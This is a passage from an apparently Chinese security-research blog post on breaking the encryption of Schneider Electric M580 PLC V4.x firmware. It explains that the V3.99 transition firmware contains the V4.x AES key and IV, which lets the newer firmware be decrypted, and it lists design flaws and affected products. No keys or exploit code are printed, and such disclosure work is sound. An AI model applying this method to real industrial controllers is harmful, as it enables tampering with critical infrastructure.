no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><strong style="align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">4、V4.x 安全固件突破：跨版本密钥演进分析</span></strong></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">施耐德在 V4.x 版本中引入了多项安全增强措施：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">新加密密钥：更换了 AES 密钥和 IV</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">数字签名：引入 CMS/PKCS<a class="wx_topic_link" topic-id="mmwtvgdt-as4l5d" style="color: #576B95 !important;" data-topic="1">#7</a> 签名机制</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">证书验证：使用 X.509 证书链验证固件完整性</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">新封装格式：采用 SEDP (Secure Encrypted Data Package) 格式</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">V4.x 固件采用 .sedp 扩展名，实际为 ZIP 压缩包，如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030564" data-ratio="0.7142857142857143" data-type="png" data-w="581" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=386ca9c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2Oek0hriaupwqqFITxpFswp4T5Ww9H6ianaBbibTUsMASgicwyIvichcibwNzX7u8yS9Z3hpHnRDHTargwZEDJ7gGwB2p1ggSzns0Mxg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解压后的文件如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030563" data-ratio="0.19967532467532467" data-type="png" data-w="616" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8f892f2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2OGiap8zQcE8DqXnUta5XLz2ZEtuviaZQiaxZIL8Bic8fic6wOeEBjuZW1TXeWWibxLs6NAD51OiborK7kz4H3dibpBy0UZibcyjtMuVicEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">PackageMetadata.json 关键字段如下所示</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">{</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;schemaName&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Data Package&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;dataPackage&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;category&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Firmware&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;productInfo&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;vendorName&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Schneider Electric&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;productName&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;BME P58 1020 Unity CPU&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;version&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;04.01.36&#34;</span></span><span leaf=""><br/></span><span leaf="">    },</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;items&#34;</span></span><span leaf="">: [{</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;files&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;file&#34;</span></span><span leaf="">: [</span><span leaf=""><br/></span><span leaf="">          {</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;M580.img&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;hashValue&#34;</span></span><span leaf="">: {</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SHA_256&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;value&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;047DE8AE...&#34;</span></span><span leaf="">}},</span><span leaf=""><br/></span><span leaf="">          {</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;M580.cms&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;hashValue&#34;</span></span><span leaf="">: {</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SHA_256&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;value&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;DC14E5F0...&#34;</span></span><span leaf="">}}</span><span leaf=""><br/></span><span leaf="">        ]</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">    }]</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">M580.cms 文件采用 CMS (Cryptographic Message Syntax) / PKCS<a class="wx_topic_link" topic-id="mmwtvgdt-293pd7" style="color: #576B95 !important;" data-topic="1">#7</a> 格式：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030562" data-ratio="0.4675925925925926" data-type="png" data-w="648" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b52bdd7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2Pwkhws6H541KzQqdWo6BWZcn3neBUicLbPibc63BmrG4OxEBxCbpBmMmYTgWFdXJMSslmYYutibt6IfPajgjlaic5auj9GL4IXpicM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">证书链结构如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030565" data-ratio="0.5963302752293578" data-type="png" data-w="545" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=de19750c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PBiaKFXKNSGEkHqV6tsI0fpuldDZkbypgoYJwI3vUpUFU2aLJrVVE8bCaKPJGuV7ViaOXIdF93DxprdbuxO5yC7rCtic2wmfjCjc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">由于工控设备的长生命周期决定了厂商必须要考虑老版本的升级问题，在研究过程中发现如果老旧设备要升级至V4.X固件版本，必须要先升级至V3.99固件版本，因此V3.99作为过渡版本，其解密后的固件镜像中必然包含了V4.x的加密密钥，否则无法作为衔接版本继续升级至较高版本。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">基于此经验，先利用之前的分析的V3.X固件解密的思路将V3.99固件解密后进行分析，从字符串中搜索类似于AES密钥的字符串，发现内置了V4.X版本的AES密钥和IV值，因此提取出这些信息后即可解密V4.X的固件，整体的解密思路如下流程所示。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030568" data-ratio="0.18759231905465287" data-type="png" data-w="677" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9c078d59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PsDRhe3xEicAiakatic17lKE4mcsIuNXlPXmb0fcaqeHGUMibiaO6v79JytUbtgXDFGpOuEFAFEZyjL17Ztp8wBQLBLE03Vwibhv2Xo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">整体的V4.X固件解密流程如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.9164733178654292" data-type="png" data-w="431" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030571" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=1bba194d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2Mia3xJOiabWQLjDpeEAPFanpCRvPUspUrqxHeEiaSUFX4uBdPvQCOXibH1yWR46icq6pQcQSnb856icwRKEK6npIDkKf6MRjicrqe4TM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">利用该思路编写对应的工具，针对2025年后半年发布的最新固件进行解密，过程如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030570" data-ratio="0.9453924914675768" data-type="png" data-w="586" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b3bd599&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2Oen8NCqewP3k94fMqcy6pEDkb2yQlPTib8aVGvMZcIp1AsBPOqAP73nbqhqpXOR5S79LsEOia4MFLKXoCIP6BFYPZXC3tW120N8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解密后的固件文件如下所示，包含了主固件镜像、固件升级 RTP 程序、HTTP 代理服务、控制系统服务器、Web 管理界面等。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030569" data-ratio="0.7543581616481775" data-type="png" data-w="631" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8af22966&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2N0YY1loNpibLHzQIfZ6PMnZcGREEgGDuvHAmdsYHicOtJExAbsIOaZtialJvvm4FGcbqG4XDqETkz7YGpOHlytm1pNyO0pEVE78k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">至此最新版本的M580系列PLC加密固件已经完美解密，可以继续后面的安全分析工作。再次复盘整个解密过程，发现该产品设计中的如下几个缺陷：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">密钥硬编码：所有同版本设备共享相同密钥</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">明文存储：密钥未经保护存储于可读取内存</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">过渡版本泄露：V3.99 同时包含新旧密钥</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">协议漏洞：私有功能码缺乏认证机制</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">向后兼容陷阱：升级路径设计导致密钥链泄露</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">也正是由于工业场景的复杂及对高可用高可靠的严苛要求，才加剧了所有工控厂商在设计时将主要精力投入至业务功能，安全设计及测试投入不足才造就了工控系统及设备普遍脆弱的局面。</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><strong style="align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">5、安全影响与防护建议</span></strong></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">本研究发现施耐德过渡固件版本包含敏感密钥信息的漏洞影响施耐德 M580 全系列产品：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">BMEP58xxxx 系列 CPU 模块</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">BMEH58xxxx 系列热备 CPU</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">BMEP58xxxx 系列安全 CPU</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">覆盖固件版本：V3.x - V4.x 全版本</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">潜在的攻击场景包括但不限于：</span></p><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">    1) 固件逆向分析及漏洞挖掘</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span 